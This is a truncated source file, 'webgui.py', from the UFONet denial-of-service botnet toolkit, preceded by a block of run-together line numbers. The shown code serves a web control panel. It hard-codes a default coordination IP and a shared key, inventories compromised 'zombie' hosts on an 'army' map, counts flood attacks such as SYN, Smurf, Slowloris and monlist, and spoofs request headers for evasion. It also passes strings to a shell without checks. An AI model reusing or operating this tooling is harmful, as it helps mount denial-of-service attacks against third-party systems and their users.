webgui.py 307 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178517951805181518251835184518551865187
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys
  16. import urllib.request, urllib.error, urllib.parse
  17. from core.tools.crypter import Cipher
  18. from time import gmtime, strftime, strptime
  19. from Crypto.Cipher import AES
  20. from hashlib import sha1, sha256
  21. from decimal import Decimal
  22. from random import shuffle
  23. from urllib.parse import urlparse as urlparse
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '176.28.23.46' # default blackhole #
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. blackhole_sep = "|" # blackhole stream separator
  32. board_msg_sep = "#!#" # board stream separator
  33. grid_msg_sep = "#?#" # grid stream seperator
  34. wargames_msg_sep = "#-#" # wargames stream seperator
  35. host = "0.0.0.0"
  36. port = 9999
  37. class ClientThread(threading.Thread):
  38. def __init__(self, ip, port, socket):
  39. threading.Thread.__init__(self)
  40. self.ip = ip
  41. self.port = port
  42. self.socket = socket
  43. self.pages = Pages()
  44. def run(self):
  45. req = self.socket.recv(2048)
  46. res = self.pages.get(req)
  47. if res is None:
  48. self.socket.close()
  49. return
  50. out = "HTTP/1.0 %s\r\n" % res["code"]
  51. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  52. out += "%s" % res["html"]
  53. try:
  54. self.socket.send(out.encode('utf-8'))
  55. except:
  56. self.socket.send(out)
  57. self.socket.close()
  58. if "run" in res and len(res["run"]):
  59. subprocess.Popen(res["run"], shell=True)
  60. class Pages():
  61. def file_len(self, fn):
  62. with open(fn) as f:
  63. for i, l in enumerate(f):
  64. pass
  65. return i + 1
  66. def html_army_map(self,target=None):
  67. try:
  68. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  69. except:
  70. target_js="not any zombie available\n\n"
  71. if target is not None:
  72. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  73. return self.pages["/header"] + """
  74. <link rel="stylesheet" href="/js/style.css" />
  75. <link rel="stylesheet" href="/js/ajaxmap.css" />
  76. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  77. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  78. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  79. <script src="/js/leaflet/leaflet.js"></script>
  80. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  81. <script src="/js/jquery-1.10.2.min.js"></script>
  82. <script src="/js/rlayer-src.js"></script>
  83. <script src="/js/raphael.js"></script>
  84. <script src="/js/ufo.js"></script>
  85. <script src="/js/ajax.js"></script>
  86. </head><body bgcolor="black" text="black">
  87. <div id="wrapper">
  88. <div id="map" style="width: 100%; height: 100%"></div>
  89. </div>
  90. <script type="text/javascript">
  91. window.onload = function(){
  92. """+target_js+"""
  93. }
  94. </script>
  95. <center>
  96. """ + self.pages["/footer"]
  97. def html_request_submit(self):
  98. return self.pages["/header"]+"""<script>
  99. window.setTimeout(window.close,1234)
  100. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  101. <center>settings updated"""+self.pages["/footer"]
  102. def html_requests(self):
  103. # read requests configuration file (json)
  104. try:
  105. with open(self.mothership_webcfg_file) as data_file:
  106. data = json.load(data_file)
  107. except:
  108. if os.path.exists(self.mothership_webcfg_file) == True:
  109. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  110. return
  111. else: # generate default requests configuration file
  112. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  113. with open(self.mothership_webcfg_file, "w") as f:
  114. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  115. # set values of requests configuration from json file to html form
  116. with open(self.mothership_webcfg_file) as data_file:
  117. data = json.load(data_file)
  118. self.agents = [] # generating available user-agents
  119. f = open(self.agents_file)
  120. agents = f.readlines()
  121. f.close()
  122. for agent in agents:
  123. self.agents.append(agent)
  124. self.user_agent = random.choice(self.agents).strip()
  125. self.rproxy = data["rproxy"]
  126. if self.rproxy == "NONE":
  127. self.rproxy = ""
  128. self.ruseragent = data["ruseragent"]
  129. if self.ruseragent == "RANDOM":
  130. self.ruseragent = self.user_agent # random user-agent
  131. self.rreferer = data["rreferer"]
  132. if self.rreferer == "RANDOM":
  133. self.rreferer = self.referer # random referer
  134. self.rhost = data["rhost"]
  135. if self.rhost == "NONE":
  136. self.rhost = ""
  137. self.rxforw = data["rxforw"]
  138. if self.rxforw == "on":
  139. self.rxforw_check = 'checked'
  140. else:
  141. self.rxforw_check = ''
  142. self.rxclient = data["rxclient"]
  143. if self.rxclient == "on":
  144. self.rxclient_check = 'checked'
  145. else:
  146. self.rxclient_check = ''
  147. self.rtimeout = data["rtimeout"]
  148. self.rretries = data["rretries"]
  149. self.rdelay = data["rdelay"]
  150. self.threads = data["threads"]
  151. self.rssl = data["rssl"]
  152. if self.rssl == "on":
  153. self.rssl_check = 'checked'
  154. else:
  155. self.rssl_check = ''
  156. return self.pages["/header"] + """
  157. <script language="javascript">
  158. function Requests() {
  159. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  160. }
  161. </script>
  162. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  163. <u>Configure requests:</u>
  164. <table cellpadding="2" cellspacing="2">
  165. <form method='GET'>
  166. <tr>
  167. <td> Use proxy server:</td>
  168. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  169. </tr>
  170. <tr>
  171. <td> Use another HTTP User-Agent header:</td>
  172. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  173. </tr>
  174. <tr>
  175. <td> Use another HTTP Referer header:</td>
  176. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  177. </tr>
  178. <tr>
  179. <td> Use another HTTP Host header:</td>
  180. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  184. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  185. </tr>
  186. <tr>
  187. <td> Set your HTTP X-Client-IP with random IP values:</td>
  188. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  189. </tr>
  190. <tr>
  191. <td> Select your timeout:</td>
  192. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  193. </tr>
  194. <tr>
  195. <td> Retries when the connection timeouts:</td>
  196. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  197. </tr>
  198. <tr>
  199. <td> Delay in seconds between each HTTP request:</td>
  200. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  201. </tr>
  202. <tr>
  203. <td> Number of threads:</td>
  204. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  205. </tr>
  206. <tr>
  207. <td> Force usage of SSL/HTTPS requests:</td>
  208. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  209. </tr>
  210. </table>
  211. <hr>
  212. <input type="hidden" name="update" value="1">
  213. <input type="submit" value="Set!" onclick="Requests()"></pre>
  214. </form>
  215. """ + self.pages["/footer"]
  216. def html_board_profile_submit(self):
  217. return self.pages["/header"]+"""<script>
  218. window.setTimeout(window.close,1234)
  219. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  220. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  221. def html_grid_profile_submit(self):
  222. return self.pages["/header"]+"""<script>
  223. window.setTimeout(window.close,1234)
  224. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  225. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  226. def profile_crew(self, icon):
  227. files = os.listdir("core/images/crew/")
  228. if icon == "NONE":
  229. icon = "link1"
  230. html_stream = ""
  231. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  232. for f in files:
  233. id = str(f.replace(".txt", ""))
  234. value = str(f.replace(".txt", ""))
  235. if icon == value:
  236. checked = " CHECKED"
  237. else:
  238. checked = ""
  239. crew_img = open("core/images/crew/"+value+".txt").read()
  240. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  241. html_stream += "</tr></table>"
  242. return html_stream
  243. def html_board_profile(self):
  244. try:
  245. with open(self.mothership_boardcfg_file) as data_file:
  246. data = json.load(data_file)
  247. except:
  248. if os.path.exists(self.mothership_boardcfg_file) == True:
  249. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  250. return
  251. else:
  252. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  253. with open(self.mothership_boardcfg_file, "w") as f:
  254. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  255. f.close()
  256. with open(self.mothership_boardcfg_file) as data_file:
  257. data = json.load(data_file)
  258. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  259. self.profile_icon = data["profile_icon"]
  260. self.profile_nick = data["profile_nick"]
  261. self.profile_nick.encode('utf-8')
  262. return self.pages["/header"] + """
  263. <script language="javascript">
  264. function BoardProfile() {
  265. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  266. }
  267. </script>
  268. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  269. <u>Configure profile:</u>
  270. <table cellpadding="2" cellspacing="2">
  271. <form method='GET'>
  272. <tr>
  273. <td> <u>OPERATOR/LINK:</u></td>
  274. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  275. </tr>
  276. <tr>
  277. <td> <u>NICKNAME:</u></td>
  278. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  279. </tr>
  280. </table>
  281. <hr>
  282. <input type="hidden" name="update" value="1">
  283. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  284. </form>
  285. """ + self.pages["/footer"]
  286. def html_grid_profile(self):
  287. try:
  288. with open(self.mothership_gridcfg_file) as data_file:
  289. data = json.load(data_file)
  290. except:
  291. if os.path.exists(self.mothership_gridcfg_file) == True:
  292. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  293. return
  294. else:
  295. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  296. with open(self.mothership_gridcfg_file, "w") as f:
  297. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  298. f.close()
  299. with open(self.mothership_gridcfg_file) as data_file:
  300. data = json.load(data_file)
  301. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  302. self.grid_contact = data["grid_contact"]
  303. self.grid_contact.encode('utf-8')
  304. self.grid_nick = data["grid_nick"]
  305. self.grid_nick.encode('utf-8')
  306. return self.pages["/header"] + """
  307. <script language="javascript">
  308. function GridProfile() {
  309. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  310. }
  311. </script>
  312. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  313. <u>Configure grid profile:</u><br>
  314. <table cellpadding="2" cellspacing="2">
  315. <form method='GET'>
  316. <tr>
  317. <td> <u>NICKNAME:</u></td>
  318. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  319. </tr>
  320. <tr>
  321. <td> <u>EMAIL/URL (CONTACT):</u></td>
  322. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  323. </tr>
  324. </table>
  325. <hr>
  326. <input type="hidden" name="update" value="1">
  327. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  328. </form>
  329. """ + self.pages["/footer"]
  330. def html_board_remove(self):
  331. try:
  332. with open(self.mothership_boardcfg_file, "w") as f:
  333. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  334. except:
  335. return
  336. return self.pages["/header"]+"""<script>
  337. window.setTimeout(window.close,1234)
  338. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  339. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  340. def html_grid_remove(self):
  341. try:
  342. with open(self.mothership_gridcfg_file, "w") as f:
  343. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  344. except:
  345. return
  346. return self.pages["/header"]+"""<script>
  347. window.setTimeout(window.close,1234)
  348. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  349. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  350. def html_stats(self):
  351. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist)
  352. if self.ranking == "Rookie": # Rookie
  353. your_ranking = "<font color='white'>Rookie [*]</font>"
  354. elif self.ranking == "Mercenary": # Mercenary
  355. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  356. elif self.ranking == "Bandit": # Bandit
  357. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  358. elif self.ranking == "UFOmmander!": # UFOmmander!
  359. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  360. elif self.ranking == "UFOl33t!": # UFOl33t!
  361. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  362. else:
  363. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  364. return self.pages["/header"] + """<script language="javascript">
  365. function Ranking() {
  366. var win_grid = window.open("ranking","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  367. }
  368. function Grid() {
  369. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  370. }
  371. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  372. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  373. <center>
  374. <table cellpadding="5" cellspacing="5"><tr>
  375. <td><img src='data:image/png;base64,"""+self.mothership_img+"""'></td>
  376. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button></td>
  377. </tr></table>
  378. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  379. <table border="1" cellpadding="5" cellspacing="10"><tr>
  380. <td><b><u>General:</u></b></td></tr>
  381. <tr>
  382. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  383. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  384. </table>
  385. <br>
  386. <table border="1" cellpadding="5" cellspacing="10"><tr>
  387. <td><b><u>Missions:</u></b></td></tr>
  388. <tr>
